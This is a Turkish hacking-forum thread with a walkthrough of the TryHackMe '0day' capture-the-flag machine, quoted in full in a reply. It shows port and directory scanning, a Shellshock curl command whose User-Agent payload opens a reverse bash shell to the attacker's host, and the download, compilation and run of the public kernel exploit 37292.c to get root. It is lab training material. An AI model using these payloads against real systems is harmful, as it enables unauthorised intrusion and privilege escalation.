TryHackMe | 0day CTF WriteUp

w1sd0m

Katılımcı Üye
28 Mar 2020
699
626
/802.1x/
TryHackMe | 0day CTF WriteUp by w1sd0m

* 0day *

pvfvge3.jpg


Selam dostlarım, bu gün sizlere TryHackMe'de yer alan "0day" adlı zafiyetli makinenin çözümünü anlatacağım.
Makine pentest dünyasında tanın "Ryan M. Montgomery" kardeşimize ait.
CTF;
cgi-bin,shellshock konularına değiniyor, o yüzden göstermek istedim.
Keyifli okumalar dilerim.

Platform:TryHackMe
Title:0day
Difficulty:Medium
Point:60
CreatedBy:0day


|
|
v

Öncelikle port taraması ile başlayalım.
nmap -sC -sV -vv 10.10.7.213
rfb3aqc.png
n9xll7r.png


22 ve 80 portlarının açık olduğunu görüyorum. Web sayfasını ziyaret edelim bakalım neler bulacağız...
oraawjp.png


Güzel bi tasarım yapmış bizi bekliyor abimiz.
Linklere baktım, kaynak kodlarına baktım ancak ilginç birşey göremedim.
Dizin taraması yapalım bakalım, gözden uzak birşey varmı?
gobuster dir -u 10.10.7.213 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -x cgi,sh,html,php,log -u 10.10.7.213/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
8eaoh43.png
iaodelt.png


Siz sormadan ben söyleyeyim; "/admin,/uploads,/secret" dizinlerinde işe yarar birşey yok :)
"cgi-bin" nedir,ne işe yarar gibi bir konuya girmeyeceğim ancak girişte de bahsettiğim gibi, ctf konusu cgi olduğu için bunun üstünden olayların gelişeceğini tahmin edebilirsiniz.
Dizine istekte bulunuyorum ancak işime yarar bir şey bulamıyorum. Bende bu cgi-bin'i nasıl exploit ederim diye bir arama yapıyorum.
CTF'lerde çokça kullanılan "
hacktricks" kitabında ki şu yazıyı cgi-bin/curl açtım.
Devam edelim...
phfn06z.png
hi81bzv.png


Kodu da bırakayım şuraya;
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/{senin_ip}/{belirlediğin_port} 0>&1' http://{makine_ip}/cgi-bin/test.cgi

Şimdi, içerde olduğumuza göre önce "user.txt" bulma işlemini sonra da yetki yükselterek "root.txt" bulma işlemini yapalım.
cjsk9pi.png


İlk flag bulundu. Şimdi yetki yükseltmede sıra.
Yeri gelmişken birşey söylemek istiyorum; ctf'lerde kolay oluyor diye otomatize scriptler indirmek işimize gelsede, bazen aslında basit bir işlem ile root olabilecekken süreyi uzatmış olabiliyoruz. Ben mümkün mertebe manuel çalışmayı öneriyorum. Bence eğlencesi de burada...

Devam edelim...
q5ymzce.png


Burada kernel bilgisine bakarak, herhangi bir exploiti varmı diye arama yapıyorum. "37292.c" dosyası bilinen bir dosya aslında ve bize root kapısını açacak olan da yine o :)
Dosyayı masaüstüne kopyalayıp masaüstümü paylaşıma açıyorum.


python3 -m http.server 8000

Ardından kurban makinesinde bu dosyayı "/tmp" klasörüne çekiyorum.

Kod:
www-data@ubuntu:/tmp$ wget http://10.9.2.11:8000/37292.c
wget http://10.9.2.11:8000/37292.c
--2022-03-06 08:42:51--  http://10.9.2.11:8000/37292.c
Connecting to 10.9.2.11:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4968 (4.9K) [text/x-csrc]
Saving to: '37292.c'

100%[======================================>] 4,968       --.-K/s   in 0.007s

2022-03-06 08:42:51 (723 KB/s) - '37292.c' saved [4968/4968]

www-data@ubuntu:/tmp$

Ardından "gcc" ile derleyip çalıştırmak istiyorum ancak şöyle bir hata ile karşılaşıyorum.
7p3adub.png


Bu hatanın çözümünü web de aradım ve tek satırda işi bitirecek bir çözüm buldum.

Kod:
gcc 37292.c -o exploit && ./exploit
gcc: error trying to exec 'cc1': execvp: No such file or directory
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
gcc 37292.c -o exploit && ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
#

Ve işte zafer...
e5fautj.png
ihshddi.jpeg


^
|
|

Bir CTF'in daha sonuna geldik. Sabredip okuduğunuz için teşekkür ederim. Sadece konu açmak için değil de birşeyler göstermek,farklı bir yol, bir düşünce, bir taktik öğretmek için bunları yazıyorum. Farketmişsinizdir, sadece CTF bölümüne konu açıyorum ve makine seçerken forumda olmayan, birden fazla çözümü olan ve eğlenceli makineler seçmeye dikkat ediyorum.

Umarım birilerine CTF çözmeyi sevdirebilirim.
Teşekkürler.

|

|
v


at7js14.jpg



^
|
|
 

CasPeRAB

Uzman üye
7 Kas 2021
1,146
461
TR❤AZ
TryHackMe | 0day CTF WriteUp by w1sd0m

* 0day *

pvfvge3.jpg


Selam dostlarım, bu gün sizlere TryHackMe'de yer alan "0day" adlı zafiyetli makinenin çözümünü anlatacağım.
Makine pentest dünyasında tanın "Ryan M. Montgomery" kardeşimize ait.
CTF;
cgi-bin,shellshock konularına değiniyor, o yüzden göstermek istedim.
Keyifli okumalar dilerim.

Platform:TryHackMe
Title:0day
Difficulty:Medium
Point:60
CreatedBy:0day


|
|
v

Öncelikle port taraması ile başlayalım.
nmap -sC -sV -vv 10.10.7.213
rfb3aqc.png
n9xll7r.png


22 ve 80 portlarının açık olduğunu görüyorum. Web sayfasını ziyaret edelim bakalım neler bulacağız...
oraawjp.png


Güzel bi tasarım yapmış bizi bekliyor abimiz.
Linklere baktım, kaynak kodlarına baktım ancak ilginç birşey göremedim.
Dizin taraması yapalım bakalım, gözden uzak birşey varmı?
gobuster dir -u 10.10.7.213 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -x cgi,sh,html,php,log -u 10.10.7.213/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
8eaoh43.png
iaodelt.png


Siz sormadan ben söyleyeyim; "/admin,/uploads,/secret" dizinlerinde işe yarar birşey yok :)
"cgi-bin" nedir,ne işe yarar gibi bir konuya girmeyeceğim ancak girişte de bahsettiğim gibi, ctf konusu cgi olduğu için bunun üstünden olayların gelişeceğini tahmin edebilirsiniz.
Dizine istekte bulunuyorum ancak işime yarar bir şey bulamıyorum. Bende bu cgi-bin'i nasıl exploit ederim diye bir arama yapıyorum.
CTF'lerde çokça kullanılan "
hacktricks" kitabında ki şu yazıyı cgi-bin/curl açtım.
Devam edelim...
phfn06z.png
hi81bzv.png


Kodu da bırakayım şuraya;
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/{senin_ip}/{belirlediğin_port} 0>&1' http://{makine_ip}/cgi-bin/test.cgi

Şimdi, içerde olduğumuza göre önce "user.txt" bulma işlemini sonra da yetki yükselterek "root.txt" bulma işlemini yapalım.
cjsk9pi.png


İlk flag bulundu. Şimdi yetki yükseltmede sıra.
Yeri gelmişken birşey söylemek istiyorum; ctf'lerde kolay oluyor diye otomatize scriptler indirmek işimize gelsede, bazen aslında basit bir işlem ile root olabilecekken süreyi uzatmış olabiliyoruz. Ben mümkün mertebe manuel çalışmayı öneriyorum. Bence eğlencesi de burada...

Devam edelim...
q5ymzce.png


Burada kernel bilgisine bakarak, herhangi bir exploiti varmı diye arama yapıyorum. "37292.c" dosyası bilinen bir dosya aslında ve bize root kapısını açacak olan da yine o :)
Dosyayı masaüstüne kopyalayıp masaüstümü paylaşıma açıyorum.


python3 -m http.server 8000

Ardından kurban makinesinde bu dosyayı "/tmp" klasörüne çekiyorum.

Kod:
www-data@ubuntu:/tmp$ wget http://10.9.2.11:8000/37292.c
wget http://10.9.2.11:8000/37292.c
--2022-03-06 08:42:51--  http://10.9.2.11:8000/37292.c
Connecting to 10.9.2.11:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4968 (4.9K) [text/x-csrc]
Saving to: '37292.c'

100%[======================================>] 4,968       --.-K/s   in 0.007s

2022-03-06 08:42:51 (723 KB/s) - '37292.c' saved [4968/4968]

www-data@ubuntu:/tmp$

Ardından "gcc" ile derleyip çalıştırmak istiyorum ancak şöyle bir hata ile karşılaşıyorum.
7p3adub.png


Bu hatanın çözümünü web de aradım ve tek satırda işi bitirecek bir çözüm buldum.

Kod:
gcc 37292.c -o exploit && ./exploit
gcc: error trying to exec 'cc1': execvp: No such file or directory
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
gcc 37292.c -o exploit && ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
#

Ve işte zafer...
e5fautj.png
ihshddi.jpeg


^
|
|

Bir CTF'in daha sonuna geldik. Sabredip okuduğunuz için teşekkür ederim. Sadece konu açmak için değil de birşeyler göstermek,farklı bir yol, bir düşünce, bir taktik öğretmek için bunları yazıyorum. Farketmişsinizdir, sadece CTF bölümüne konu açıyorum ve makine seçerken forumda olmayan, birden fazla çözümü olan ve eğlenceli makineler seçmeye dikkat ediyorum.

Umarım birilerine CTF çözmeyi sevdirebilirim.
Teşekkürler.

|

|
v


at7js14.jpg



^
|
|
özgün ve bilmediğim bir konu :) :)
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.